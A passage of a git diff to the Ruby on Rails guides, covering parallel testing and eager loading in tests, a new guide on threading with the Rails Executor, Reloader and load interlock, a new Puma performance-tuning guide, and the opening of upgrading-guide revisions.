+frequently integrated into the main codebase, and as such, are automatically
+tested before merge.
+
+To run all tests in a CI environment, there's just one command you need:
+
+```bash
+$ bin/rails test
+```
+
+If you are using [System Tests](#system-testing), `bin/rails test` will not run
+them, since they can be slow. To also run them, add another CI step that runs
+`bin/rails test:system`, or change your first step to `bin/rails test:all`,
+which runs all tests including system tests.
+
+Parallel Testing
+----------------
+
+Running tests in parallel reduces the time it takes your entire test suite to
+run. While forking processes is the default method, threading is supported as
+well.
+
+### Parallel Testing with Processes
+
+The default parallelization method is to fork processes using Ruby's DRb system.
+The processes are forked based on the number of workers provided. The default
+number is the actual core count on the machine, but can be changed by the number
+passed to the `parallelize` method.
+
+To enable parallelization add the following to your `test_helper.rb`:
+
+```ruby
+class ActiveSupport::TestCase
+  parallelize(workers: 2)
+end
+```
+
+The number of workers passed is the number of times the process will be forked.
+You may want to parallelize your local test suite differently from your CI, so
+an environment variable is provided to be able to easily change the number of
+workers a test run should use:
+
+```bash
+$ PARALLEL_WORKERS=15 bin/rails test
+```
+
+#### Reproducing Flaky Parallel Tests
+
+Whether using processes or threads, tests are distributed to workers in
+round-robin order, so given the same `--seed` value and worker count, each
+worker runs the same sequence of tests. This makes flaky tests caused by
+parallel test interdependence easier to reproduce: re-run with the same seed
+and worker count to get the same distribution.
+
+This deterministic assignment can make test runtime uneven when one worker
+happens to get most of the slow tests. Enable `work_stealing` to allow idle
+workers to steal tests from busy workers, improving load balance at the cost
+of less reproducible test distribution:
+
+```ruby
+class ActiveSupport::TestCase
+  parallelize(workers: :number_of_processors, work_stealing: true)
+end
+```
+
+When parallelizing tests, Active Record automatically handles creating a
+database and loading the schema into the database for each process. The
+databases will be suffixed with the number corresponding to the worker. For
+example, if you have 2 workers the tests will create `test-database-0` and
+`test-database-1` respectively.
+
+If the number of workers passed is 1 or fewer the processes will not be forked
+and the tests will not be parallelized and they will use the original
+`test-database` database.
+
+Two hooks are provided, one runs when the process is forked, and one runs before
+the forked process is closed. These can be useful if your app uses multiple
+databases or performs other tasks that depend on the number of workers.
+
+The `parallelize_setup` method is called right after the processes are forked.
+The `parallelize_teardown` method is called right before the processes are
+closed.
+
+```ruby
+class ActiveSupport::TestCase
+  parallelize_setup do |worker|
+    # setup databases
+  end
+
+  parallelize_teardown do |worker|
+    # cleanup databases
+  end
+
+  parallelize(workers: :number_of_processors)
+end
+```
+
+These methods are not needed or available when using parallel testing with
+threads.
+
+### Parallel Testing with Threads
+
+If you prefer using threads or are using JRuby, a threaded parallelization
+option is provided. The threaded parallelizer is backed by minitest's
+`Parallel::Executor`.
+
+To change the parallelization method to use threads over forks put the following
+in your `test_helper.rb`:
+
+```ruby
+class ActiveSupport::TestCase
+  parallelize(workers: :number_of_processors, with: :threads)
+end
+```
+
+Rails applications generated from JRuby or TruffleRuby will automatically
+include the `with: :threads` option.
+
+NOTE: As in the section above, you can also use the environment variable
+`PARALLEL_WORKERS` in this context, to change the number of workers your test
+run should use.
+
+### Testing Parallel Transactions
+
+When you want to test code that runs parallel database transactions in threads,
+those can block each other because they are already nested under the implicit
+test transaction.
+
+To workaround this, you can disable transactions in a test case class by setting
+`self.use_transactional_tests = false`:
+
+```ruby
+class WorkerTest < ActiveSupport::TestCase
+  self.use_transactional_tests = false
+
+  test "parallel transactions" do
+    # start some threads that create transactions
+  end
+end
+```
+
+NOTE: With disabled transactional tests, you have to clean up any data tests
+create as changes are not automatically rolled back after the test completes.
+
+### Threshold to Parallelize tests
+
+Running tests in parallel adds an overhead in terms of database setup and
+fixture loading. Because of this, Rails won't parallelize executions that
+involve fewer than 50 tests.
+
+You can configure this threshold in your `test.rb`:
+
+```ruby
+config.active_support.test_parallelization_threshold = 100
+```
+
+And also when setting up parallelization at the test case level:
+
+```ruby
+class ActiveSupport::TestCase
+  parallelize threshold: 100
+end
+```
+
+NOTE: Setting the `PARALLEL_WORKERS` environment variable will bypass the
+threshold check, enabling parallelization regardless of test count.
+
+Testing Eager Loading
+---------------------
+
+Normally, applications do not eager load in the `development` or `test`
+environments to speed things up. But they do in the `production` environment.
+
+If some file in the project cannot be loaded for whatever reason, it is
+important to detect it before deploying to production.
+
+### Continuous Integration
+
+If your project has CI in place, eager loading in CI is an easy way to ensure
+the application eager loads.
+
+CIs typically set an environment variable to indicate the test suite is running
+there. For example, it could be `CI`:
+
+```ruby
+# config/environments/test.rb
+config.eager_load = ENV["CI"].present?
+```
+
+Starting with Rails 7, newly generated applications are configured that way by
+default.
+
+If your project does not have continuous integration, you can still eager load
+in the test suite by calling `Rails.application.eager_load!`:
+
+```ruby
+require "test_helper"
+
+class ZeitwerkComplianceTest < ActiveSupport::TestCase
+  test "eager loads all files without errors" do
+    assert_nothing_raised { Rails.application.eager_load! }
+  end
+end
+```
+
 Additional Testing Resources
 ----------------------------
 
+### Errors
+
+In system tests, integration tests and functional controller tests, Rails will
+attempt to rescue from errors raised and respond with HTML error pages by
+default. This behavior can be controlled by the
+[`config.action_dispatch.show_exceptions`](/configuring.html#config-action-dispatch-show-exceptions)
+configuration.
+
 ### Testing Time-Dependent Code
 
-Rails provides built-in helper methods that enable you to assert that your time-sensitive code works as expected.
+Rails provides built-in helper methods that enable you to assert that your
+time-sensitive code works as expected.
 
-Here is an example using the [`travel_to`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html#method-i-travel_to) helper:
+The following example uses the [`travel_to`][travel_to] helper:
 
 ```ruby
-# Lets say that a user is eligible for gifting a month after they register.
-user = User.create(name: 'Gaurish', activation_date: Date.new(2004, 10, 24))
+# Given a user is eligible for gifting a month after they register.
+user = User.create(name: "Gaurish", activation_date: Date.new(2004, 10, 24))
 assert_not user.applicable_for_gifting?
+
 travel_to Date.new(2004, 11, 24) do
-  assert_equal Date.new(2004, 10, 24), user.activation_date # inside the `travel_to` block `Date.current` is mocked
+  # Inside the `travel_to` block `Date.current` is stubbed
+  assert_equal Date.new(2004, 10, 24), user.activation_date
   assert user.applicable_for_gifting?
 end
-assert_equal Date.new(2004, 10, 24), user.activation_date # The change was visible only inside the `travel_to` block.
+
+# The change was visible only inside the `travel_to` block.
+assert_equal Date.new(2004, 10, 24), user.activation_date
 ```
 
-Please see [`ActiveSupport::Testing::TimeHelpers` API Documentation](http://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html)
-for in-depth information about the available time helpers.
+Please see [`ActiveSupport::Testing::TimeHelpers`][time_helpers_api] API
+reference for more information about the available time helpers.
+
+[travel_to]:
+    https://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html#method-i-travel_to
+[time_helpers_api]:
+    https://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html
diff --git a/guides/source/threading_and_code_execution.md b/guides/source/threading_and_code_execution.md
new file mode 100644
index 0000000000000..f8d5c5d07d33d
--- /dev/null
+++ b/guides/source/threading_and_code_execution.md
@@ -0,0 +1,338 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Threading and Code Execution in Rails
+=====================================
+
+After reading this guide, you will know:
+
+* Where to find concurrent code execution in Rails
+* How to integrate manual concurrency within Rails
+* How to wrap application code using the Rails Executor
+* How to affect application reloading
+
+--------------------------------------------------------------------------------
+
+Automatic Concurrency in Rails
+------------------------------
+
+Rails automatically allows various operations to be performed at the same time
+(concurrently) in order for an application to run more efficiently. In this
+section, we will explore some of the ways this happens behind the scenes.
+
+When using a threaded web server, such as the default Puma, multiple HTTP
+requests will be served simultaneously, with a separate controller instance for
+each request.
+
+Threaded Active Job adapters, including the built-in Async adapter, will
+likewise execute several jobs at the same time. Action Cable channels are
+managed this way too.
+
+Asynchronous Active Record queries are also performed in the background,
+allowing other processes to run on the main thread.
+
+These mechanisms all involve multiple threads, each managing work for a unique
+instance of some object (controller, job, channel), while sharing the global
+process space (such as classes and their configurations, and global variables).
+As long as your code doesn't modify any of those shared resources, it can mostly
+ignore that other threads exist.
+
+The rest of this guide describes the mechanisms Rails uses to make other threads
+"mostly ignorable", and how extensions and applications with special
+requirements can use these mechanisms.
+
+NOTE: You can read more about how to configure Rails' concurrency in the
+[Framework Behavior](#framework-behavior) section.
+
+
+### Threads vs Fibers
+
+The `active_support.isolation_level` value in your `config/application.rb` file
+provides you the option to define where Rails' internal state should be stored
+while tasks are run. If you use a fiber-based server or job processor (e.g.
+`falcon`), you should set this value to `:fiber`, otherwise it is best to set it
+to `:thread`.
+
+Wrapping Application Code
+-------------------------
+
+### The Rails Executor
+
+The Rails Executor separates application code from framework code by wrapping
+code that you've written, which is necessary when threads are being used.
+
+#### Callbacks
+
+The Executor consists of two callbacks: `to_run` and `to_complete`. The `to_run`
+callback is called before the application code, and the `to_complete` callback
+is called after.
+
+In a default Rails application, the Rails Executor callbacks are used to:
+
+* Track which threads are in safe positions for autoloading and reloading.
+* Enable and disable the Active Record query cache.
+* Return acquired Active Record connections to the pool.
+* Constrain internal cache lifetimes.
+
+#### Code Execution
+
+If you're writing a library or component that will invoke application code, you
+should wrap it with a call to the Executor:
+
+```ruby
+Rails.application.executor.wrap do
+  # call application code here
+end
+```
+
+TIP: If you repeatedly invoke application code from a long-running process, you
+may want to wrap using the [Reloader](#the-reloader) instead.
+
+
+Each thread should be wrapped before it runs application code, so if your
+application manually delegates work to other threads, such as via `Thread.new`
+or [Concurrent Ruby](https://github.com/ruby-concurrency/concurrent-ruby)
+features that use thread pools, you should immediately wrap the block:
+
+```ruby
+Thread.new do
+  # no code here
+  Rails.application.executor.wrap do
+    # your code here
+  end
+end
+```
+
+NOTE: Concurrent Ruby uses a `ThreadPoolExecutor`, which it sometimes configures
+with an `executor` option. Despite the name, it is _not_ related to the Rails
+Executor.
+
+If it's impractical to wrap the application code in a block (for example, the
+Rack API makes this problematic), you can also use the `run!` / `complete!`
+pair:
+
+```ruby
+Thread.new do
+  execution_context = Rails.application.executor.run!
+  # your code here
+ensure
+  execution_context.complete! if execution_context
+end
+```
+
+#### Running Mode
+
+The Executor will put the current thread into `running` mode in the [Load
+Interlock](#load-interlock). This operation will block temporarily if another
+thread is currently either autoloading a constant or unloading/reloading the
+application.
+
+### The Reloader
+
+Like the Executor, the
+[Reloader](https://api.rubyonrails.org/classes/ActiveSupport/Reloader.html) also
+wraps application code. The Reloader is only suitable where a long-running
+framework-level process repeatedly calls into application code, such as for a
+web server or job queue.
+
+NOTE: Rails automatically wraps web requests and Active Job workers, so you'll
+rarely need to invoke the Reloader for yourself. Always consider whether the
+Executor is a better fit for your use case.
+
+If the Executor is not already active on the current thread, the Reloader will
+invoke it for you, so you only need to call one. This also guarantees that
+everything the Reloader does, including its callbacks, occurs wrapped inside the
+Executor.
+
+```ruby
+Rails.application.reloader.wrap do
+  # call application code here
+end
+```
+
+#### Callbacks
+
+Before entering the wrapped block, the Reloader will check whether the running
+application needs to be reloaded (because a model's source file has been
+modified, for example). If it determines a reload is required, it will wait
+until it's safe, and then do so, before continuing. When the application is
+configured to always reload regardless of whether any changes are detected, the
+reload is instead performed at the end of the block.
+
+The Reloader also provides `to_run` and `to_complete` callbacks; they are
+invoked at the same points as those of the Executor, but only when the current
+execution has initiated an application reload. When no reload is deemed
+necessary, the Reloader will invoke the wrapped block with no other callbacks.
+
+#### Class Unload
+
+The most significant part of the reloading process is the "class unload", where
+all autoloaded classes are removed, ready to be loaded again. This will occur
+immediately before either the `to_run` or `to_complete` callback, depending on
+the
+[`reload_classes_only_on_change`](configuring.html#config-reload-classes-only-on-change)
+setting.
+
+Often, additional reloading actions need to be performed either just before or
+just after the "class unload", so the Reloader also provides
+[`before_class_unload`](https://api.rubyonrails.org/classes/ActiveSupport/Reloader.html#method-c-before_class_unload)
+and
+[`after_class_unload`](https://api.rubyonrails.org/classes/ActiveSupport/Reloader.html#method-c-after_class_unload)
+callbacks.
+
+#### Concurrency
+
+Only long-running "top level" processes should invoke the Reloader, because if
+it determines a reload is needed, it will block until all other threads have
+completed any Executor invocations.
+
+If this were to occur in a "child" thread, with a waiting parent inside the
+Executor, it would cause an unavoidable deadlock: the reload must occur before
+the child thread is executed, but it cannot be safely performed while the parent
+thread is mid-execution. Child threads should use the Executor instead.
+
+Framework Behavior
+------------------
+
+The Rails framework components use the Executor and the Reloader to manage their
+own concurrency needs too.
+
+[`ActionDispatch::Executor`](https://api.rubyonrails.org/classes/ActionDispatch/Executor.html)
+and
+[`ActionDispatch::Reloader`](https://api.rubyonrails.org/classes/ActionDispatch/Reloader.html)
+are Rack middlewares that wrap requests with a supplied Executor or Reloader,
+respectively. They are automatically included in the default application stack.
+The Reloader will ensure any arriving HTTP request is served with a
+freshly-loaded copy of the application if any code changes have occurred.
+
+Active Job also wraps its job executions with the Reloader, loading the latest
+code to execute each job as it comes off the queue.
+
+Action Cable uses the Executor instead: because a Cable connection is linked to
+a specific instance of a class, it's not possible to reload for every arriving
+WebSocket message. Only the message handler is wrapped, though; a long-running
+Cable connection does not prevent a reload that's triggered by a new incoming
+request or job. Instead, Action Cable uses the Reloader's `before_class_unload`
+callback to disconnect all its connections. When the client automatically
+reconnects, it will be interacting with the new version of the code.
+
+The above are the entry points to the framework, so they are responsible for
+ensuring their respective threads are protected, and deciding whether a reload
+is necessary. Other components only need to use the Executor when they spawn
+additional threads.
+
+### Reloader and Executor Configuration
+
+The Reloader only checks for file changes when
+[`config.enable_reloading`](configuring.html#config-enable-reloading) and
+[`config.reload_classes_only_on_change`](configuring.html#config-reload-classes-only-on-change)
+are both `true`. These are the defaults in the `development` environment.
+
+When `config.enable_reloading` is `false` (in `production`, by default), the
+Reloader is only a pass-through to the Executor.
+
+The Executor always has important work to do, like database connection
+management. When `config.enable_reloading` is `false` and `config.eager_load` is
+`true` (`production` defaults), no reloading will occur, so it does not need the
+[Load Interlock](#load-interlock). With the default settings in the
+`development` environment, the Executor will use the Load Interlock to ensure
+constants are only loaded when it is safe.
+
+Load Interlock
+--------------
+
+The Reloading Interlock ensures that code reloading can be performed safely in a
+multi-threaded runtime environment.
+
+It is only safe to perform an unload/reload when no application code is in
+mid-execution: after the reload, the `User` constant, for example, may point to
+a different class. Without this rule, a poorly-timed reload would mean
+`User.new.class == User`, or even `User == User`, could be false.
+
+The Reloading Interlock addresses this constraint by keeping track of which
+threads are currently running application code, and ensuring that reloading
+waits until no other threads are executing application code.
+
+
+### `permit_concurrent_loads`
+
+The Executor automatically acquires a `running` lock for the duration of its
+block, and autoload knows when to upgrade to a `load` lock, and switch back to
+`running` again afterwards.
+
+Other blocking operations performed inside the Executor block (which includes
+all application code), however, can needlessly retain the `running` lock. If
+another thread encounters a constant that it must autoload, this can cause a
+deadlock.
+
+For example, assuming `User` is not yet loaded, the following will deadlock:
+
+```ruby
+Rails.application.executor.wrap do
+  th = Thread.new do
+    Rails.application.executor.wrap do
+      User # inner thread waits here; it cannot load
+           # User while another thread is running
+    end
+  end
+
+  th.join # outer thread waits here, holding 'running' lock
+end
+```
+
+To prevent this deadlock, the outer thread can `permit_concurrent_loads`. By
+calling this method, the thread guarantees it will not dereference any
+possibly-autoloaded constant inside the supplied block. The safest way to meet
+that promise is to put it as close as possible to the blocking call:
+
+```ruby
+Rails.application.executor.wrap do
+  th = Thread.new do
+    Rails.application.executor.wrap do
+      User # inner thread can acquire the 'load' lock,
+           # load User, and continue
+    end
+  end
+
+  ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
+    th.join # outer thread waits here, but has no lock
+  end
+end
+```
+
+Another example, using Concurrent Ruby:
+
+```ruby
+Rails.application.executor.wrap do
+  futures = 3.times.collect do |i|
+    Concurrent::Promises.future do
+      Rails.application.executor.wrap do
+        # do work here
+      end
+    end
+  end
+
+  values = ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
+    futures.collect(&:value)
+  end
+end
+```
+
+### ActionDispatch::DebugLocks
+
+If your application is deadlocking and you think the Load Interlock may be
+involved, you can temporarily add the ActionDispatch::DebugLocks middleware to
+`config/application.rb`:
+
+```ruby
+config.middleware.insert_before Rack::Sendfile,
+                                  ActionDispatch::DebugLocks
+```
+
+If you then restart the application and re-trigger the deadlock condition,
+`/rails/locks` will show a summary of all threads currently known to the
+interlock, which lock level they are holding or awaiting, and their current
+backtrace.
+
+Generally a deadlock will be caused by the interlock conflicting with some other
+external lock or blocking I/O call. Once you find it, you can wrap it with
+`permit_concurrent_loads`.
diff --git a/guides/source/tuning_performance_for_deployment.md b/guides/source/tuning_performance_for_deployment.md
new file mode 100644
index 0000000000000..e3bf7dd8350bf
--- /dev/null
+++ b/guides/source/tuning_performance_for_deployment.md
@@ -0,0 +1,267 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Tuning Performance for Deployment
+=================================
+
+This guide covers performance and concurrency configuration for deploying your production Ruby on Rails application.
+
+After reading this guide, you will know:
+
+* Whether to use Puma, the default application server
+* How to configure important performance settings for Puma
+* How to begin performance testing your application settings
+
+This guide focuses on web servers, which are the primary performance-sensitive component of most web applications. Other
+components like background jobs and WebSockets can be tuned but won't be covered by this guide.
+
+More information about how to configure your application can be found in the [Configuration Guide](configuring.html).
+
+--------------------------------------------------------------------------------
+
+This guide assumes you are running [MRI](https://ruby-lang.org), the canonical implementation of Ruby also known as
+CRuby. If you're using another Ruby implementation such as JRuby or TruffleRuby, most of this guide doesn't apply.
+If needed, check sources specific to your Ruby implementation.
+
+Choosing an Application Server
+------------------------------
+
+Puma is Rails' default application server and the most commonly used server across the community.
+It works well in most cases. In some cases, you may wish to change to another.
+
+An application server uses a particular concurrency method.
+For example, Unicorn uses processes, Puma and Passenger are hybrid process- and thread-based concurrency, and Falcon
+uses fibers.
+
+A full discussion of Ruby's concurrency methods is beyond the scope of this document, but the key tradeoffs between
+processes and threads will be presented.
+If you want to use a method other than processes and threads, you will need to use a different application server.
+
+This guide will focus on how to tune Puma.
+
+What to Optimize for?
+------------------------------
+
+In essence, tuning a Ruby web server is making a tradeoff between multiple properties such as memory usage, throughput,
+and latency.
+
+The throughput is the measure of how many requests per second the server can handle, and latency is the measure of how
+long individual requests take (also referred to as response time).
+
+Some users may want to maximize throughput to keep their hosting cost low, some other users may want to minimize latency
+to offer the best user experience, and many users will search for some compromise somewhere in the middle.
+
+It is important to understand that optimizing for one property will generally hurt at least another one.
+
+### Understanding Ruby's Concurrency and Parallelism
+
+[CRuby](https://www.ruby-lang.org/en/) has a [Global Interpreter Lock](https://en.wikipedia.org/wiki/Global_interpreter_lock),
+often called the GVL or GIL.
+The GVL prevents multiple threads from running Ruby code at the same time in a single process.
+Multiple threads can be waiting on network data, database operations, or some other non-Ruby work generally referred to
+as I/O operations, but only one can actively run Ruby code at a time.
+
+This means that thread-based concurrency allows for increased throughput by concurrently processing web requests
+whenever they do I/O operations, but may degrade latency whenever an I/O operation completes. The thread that performed
+it may have to wait before it can resume executing Ruby code.
+Similarly, Ruby's garbage collector is "stop-the-world" so when it triggers all threads have to stop.
+
+This also means that regardless of how many threads a Ruby process contains, it will never use more than a single CPU
+core.
+
+Because of this, if your application only spends 50% of its time doing I/O operations, using more than 2 or 3 threads
+per process may severely hurt latency, and the gains in throughput will quickly hit diminishing returns.
+
+Generally speaking, a well-crafted Rails application that isn't suffering from slow SQL queries or N+1 problems doesn't
+spend more than 50% of its time doing I/O operations, hence is unlikely to benefit from more than 3 threads.
+However, some applications that do call third-party APIs inline may spend a very large proportion of their time doing
+I/O operations and may benefit from more threads than that.
+
+The way to achieve true parallelism with Ruby is to use multiple processes. As long as there is a free CPU core, Ruby
+processes don't have to wait on one another before resuming execution after an I/O operation is complete.
+However, processes only share a fraction of their memory via [copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write),
+so one additional process uses more memory than an additional thread would.
+
+Note that while threads are cheaper than processes, they are not free, and increasing the number of threads per process,
+also increases memory usage.
+
+### Practical Implications
+
+Users interested in optimizing for throughput and server utilization will want to run one process per CPU core and
+increase the number of threads per process until the impact on latency is deemed too important.
+
+Users interested in optimizing for latency will want to keep the number of threads per process low.
+To optimize for latency even further, users can even set the thread per process count to `1` and run `1.5` or `1.3`
+process per CPU core to account for when processes are idle waiting for I/O operations.
+
+It is important to note that some hosting solutions may only offer a relatively small amount of memory (RAM) per CPU
+core, preventing you from running as many processes as needed to use all CPU cores.
+However, most hosting solutions have different plans with different ratios of memory and CPU.
+
+Another thing to consider is that Ruby memory usage benefits from economies of scale thanks to
+[copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write).
+So `2` servers with `32` Ruby processes each will use less memory per CPU core than `16` servers with `4` Ruby processes
+each.
+
+Configurations
+--------------
+
+### Puma
+
+The Puma configuration resides in the `config/puma.rb` file.
+The two most important Puma configurations are the number of threads per process, and the number of processes,
+which Puma calls `workers`.
+
+The number of threads per process is configured via the `threads` directive.
+In the default generated configuration, it is set to `3`.
+You can modify it either by setting the `RAILS_MAX_THREADS` environment variable or simply editing the configuration
+file.
+
+The number of processes is configured by the `workers` directive.
+If you use more than one thread per process, then it should be set to how many CPU cores are available on the server,
+or if the server is running multiple applications, to how many cores you want the application to use.
+If you only use one thread per worker, then you can increase it to above one per core to account for when workers are
+idle waiting for I/O operations.
+
+You can configure the number of Puma workers by setting the `WEB_CONCURRENCY` environment variable. Setting `WEB_CONCURRENCY=auto` will automatically adjust the Puma worker count to match the number of available CPUs. However, this setting might be inaccurate on cloud hosts with shared CPUs or platforms that report CPU counts incorrectly.
+
+### YJIT
+
+Recent Ruby versions come with a [Just-in-time compiler](https://en.wikipedia.org/wiki/Just-in-time_compilation)
+called [`YJIT`](https://github.com/ruby/ruby/blob/master/doc/yjit/yjit.md).
+
+Without going into too many details, JIT compilers allow to execute code faster, at the expense of using some more
+memory.
+Unless you really cannot spare this extra memory usage, it is highly recommended to enable YJIT.
+
+As for Rails 7.2, if your application is running on Ruby 3.3 or superior, YJIT will automatically be enabled by Rails
+by default.
+Older versions of Rails or Ruby have to enable it manually, please refer to the
+[`YJIT documentation`](https://github.com/ruby/ruby/blob/master/doc/yjit/yjit.md) about how to do it.
+
+If the extra memory usage is a problem, before entirely disabling YJIT, you can try tuning it to use less memory via
+[the `--yjit-exec-mem-size` configuration](https://github.com/ruby/ruby/blob/master/doc/yjit/yjit.md#decreasing---yjit-exec-mem-size).
+
+### Memory Allocators and Configuration
+
+Because of how the default memory allocator works on most Linux distributions, running Puma with multiple threads can
+lead to an unexpected increase in memory usage caused by [memory fragmentation](https://en.wikipedia.org/wiki/Fragmentation_\(computing\)).
+In turn, this increased memory usage may prevent your application from fully utilizing the server CPU cores.
+
+To alleviate this problem, it is highly recommended to configure Ruby to use an alternative memory allocator:
+[jemalloc](https://github.com/jemalloc/jemalloc).
+
+The default Dockerfile generated by Rails already comes preconfigured to install and use `jemalloc`. But if your hosting
+solution isn't Docker based, you should look into how to install and enable jemalloc there.
+
+If for some reason that isn't possible, a less efficient alternative is to configure the default allocator in a way that
+reduces memory fragmentation by setting `MALLOC_ARENA_MAX=2` in your environment.
+Note however that this might make Ruby slower, so `jemalloc` is the preferred solution.
+
+Performance Testing
+--------------------
+
+Because every Rails application is different, and that every Rails user may want to optimize for different properties,
+it is impossible to offer a default configuration or guidelines that works best for everyone.
+
+Hence, the best way to choose your application's settings is to measure the performance of your application, and adjust
+the configuration until it is satisfactory for your goals.
+
+This can be done with a simulated production workload, or directly in production with live application traffic.
+
+Performance testing is a deep subject. This guide gives only simple guidelines.
+
+### What to Measure
+
+Throughput is the number of requests per second that your application successfully processes.
+Any good load testing program will measure it.
+A throughput is normally a single number expressed in "requests per second".
+
+Latency is the delay from the time the request is sent until its response is successfully received, generally expressed
+in milliseconds.
+Each individual request will have its own latency.
+
+[Percentile](https://en.wikipedia.org/wiki/Percentile_rank) latency gives the latency where a certain percentage of
+requests have better latency than that.
+For instance, `P90` is the 90th-percentile latency.
+The `P90` is the latency for a single load test where only 10% of requests took longer than that to process.
+The `P50` is the latency such that half your requests were slower, also called the median latency.
+
+"Tail latency" refers to high-percentile latencies.
+For instance, the `P99` is the latency such that only 1% of your requests were worse.
+`P99` is a tail latency.
+`P50` is not a tail latency.
+
+Generally speaking, the average latency isn't a good metric to optimize for.
+It is best to focus on median (`P50`) and tail (`P95` or `P99`) latency.
+
+### Production Measurement
+
+If your production environment includes more than one server, it can be a good idea to do
+[A/B testing](https://en.wikipedia.org/wiki/A/B_testing) there.
+For instance, you could run half of the servers with `3` threads per process, and the other half with `4` threads per
+process, and then use an application performance monitoring service to compare the throughput and latency of the two
+groups.
+
+Application performance monitoring services are numerous, some are self-hosted, some are cloud solutions, and many offer
+a free tier plan.
+Recommending a particular one is beyond the scope of this guide.
+
+### Load Testers
+
+You will need a load testing program to make requests of your application.
+This can be a dedicated load testing program of some kind, or you can write a small application to make HTTP requests
+and track how long they take.
+You should not normally check the time in your Rails log file.
+That time is only how long Rails took to process the request. It does not include time taken by the application server.
+
+Sending many simultaneous requests and timing them can be difficult. It is easy to introduce subtle measurement errors.
+Normally you should use a load testing program, not write your own. Many load testers are simple to use and many
+excellent load testers are free.
+
+### What You Can Change
+
+You can change the number of threads in your test to find the best tradeoff between throughput and latency for your
+application.
+
+Larger hosts with more memory and CPU cores will need more processes for best usage.
+You can vary the size and type of hosts from a hosting provider.
+
+Increasing the number of iterations will usually give a more exact answer, but require longer for testing.
+
+You should test on the same type of host that will run in production.
+Testing on your development machine will only tell you what settings are best for that development machine.
+
+### Warmup
+
+Your application should process a number of requests after startup that are not included in your final measurements.
+These requests are called "warmup" requests, and are usually much slower than later "steady-state" requests.
+
+Your load testing program will usually support warmup requests. You can also run it more than once and throw away the
+first set of times.
+
+You have enough warmup requests when increasing the number does not significantly change your result.
+[The theory behind this can be complicated](https://arxiv.org/abs/1602.00602) but most common situations are
+straightforward: test several times with different amounts of warmup. See how many warmup iterations are needed before
+the results stay roughly the same.
+
+Very long warmup can be useful for testing memory fragmentation and other issues that happen only after many requests.
+
+### Which Requests
+
+Your application probably accepts many different HTTP requests.
+You should begin by load testing with just a few of them.
+You can add more kinds of requests over time.
+If a particular kind of request is too slow in your production application, you can add it to your load testing code.
+
+A synthetic workload cannot perfectly match your application's production traffic.
+It is still helpful for testing configurations.
+
+### What to Look For
+
+Your load testing program should allow you to check latencies, including percentile and tail latencies.
+
+For different numbers of processes and threads, or different configurations in general, check the throughput and one or
+more latencies such as `P50`, `P90`, and `P99`.
+Increasing the threads will improve throughput up to a point, but worsen latency.
+
+Choose a tradeoff between latency and throughput based on your application's needs.
diff --git a/guides/source/upgrading_ruby_on_rails.md b/guides/source/upgrading_ruby_on_rails.md
index 8ba00a2b10f5b..e1c8d8fa38431 100644
--- a/guides/source/upgrading_ruby_on_rails.md
+++ b/guides/source/upgrading_ruby_on_rails.md
@@ -1,7 +1,7 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
-A Guide for Upgrading Ruby on Rails
-===================================
+Upgrading Ruby on Rails
+=======================
 
 This guide provides steps to be followed when you upgrade your applications to a newer version of Ruby on Rails. These steps are also available in individual release guides.
 
@@ -16,54 +16,1515 @@ Before attempting to upgrade an existing application, you should be sure you hav
 
 The best way to be sure that your application still works after upgrading is to have good test coverage before you start the process. If you don't have automated tests that exercise the bulk of your application, you'll need to spend time manually exercising all the parts that have changed. In the case of a Rails upgrade, that will mean every single piece of functionality in the application. Do yourself a favor and make sure your test coverage is good _before_ you start an upgrade.
 
+### Ruby Versions
+
+Rails generally stays close to the latest released Ruby version when it's released:
+
+* Rails 8.0 and 8.1 require Ruby 3.2.0 or newer.
+* Rails 7.2 requires Ruby 3.1.0 or newer.
+* Rails 7.0 and 7.1 require Ruby 2.7.0 or newer.
+* Rails 6 requires Ruby 2.5.0 or newer.
+* Rails 5 requires Ruby 2.2.2 or newer.
+
+It's a good idea to upgrade Ruby and Rails separately. Upgrade to the latest Ruby you can first, and then upgrade Rails.
+
 ### The Upgrade Process
 
-When changing Rails versions, it's best to move slowly, one minor version at a time, in order to make good use of the deprecation warnings. Rails version numbers are in the form Major.Minor.Patch. Major and Minor versions are allowed to make changes to the public API, so this may cause errors in your application. Patch versions only include bug fixes, and don't change any public API.
+When changing Rails versions, it's best to move slowly, one minor version at a time, in order to make good use of the deprecation warnings. Rails version numbers are in the form Major.Minor.Patch. Major and Minor versions are allowed to make changes to the public API, so this may cause errors in your application. Patch versions only include bug fixes, and don't change any public API.
+
+The process should go as follows:
+
+1. Write tests and make sure they pass.
+2. Move to the latest patch version after your current version.
+3. Fix tests and deprecated features.
+4. Move to the latest patch version of the next minor version.
+
+Repeat this process until you reach your target Rails version.
+
+#### Moving between versions
+
+To move between versions:
+
+1. Change the Rails version number in the `Gemfile` and run `bundle update rails`.
+2. Change the versions for Rails JavaScript packages in `package.json` and run `bin/rails javascript:install` if running jsbundling-rails.
+3. Run the [Update task](#the-update-task).
+4. Run your tests.
+
+You can find a list of all released Rails gems [here](https://rubygems.org/gems/rails/versions).
+
+### The Update Task
+
+Rails provides the `bin/rails app:update` command. After updating the Rails version
+in the `Gemfile`, run this command.
+This will help you with the creation of new files and changes of old files in an
+interactive session.
+
+```bash
+$ bin/rails app:update
+       exist  config
+    conflict  config/application.rb
+Overwrite /myapp/config/application.rb? (enter "h" for help) [Ynaqdh]
+       force  config/application.rb
+      create  config/initializers/new_framework_defaults_8_0.rb
+...
+```
+
+Don't forget to review the difference, to see if there were any unexpected changes, and note that the diff and merge tools used during this process can be defined using the `THOR_DIFF` and `THOR_MERGE` environment variables.
+
+### Configure Framework Defaults
+
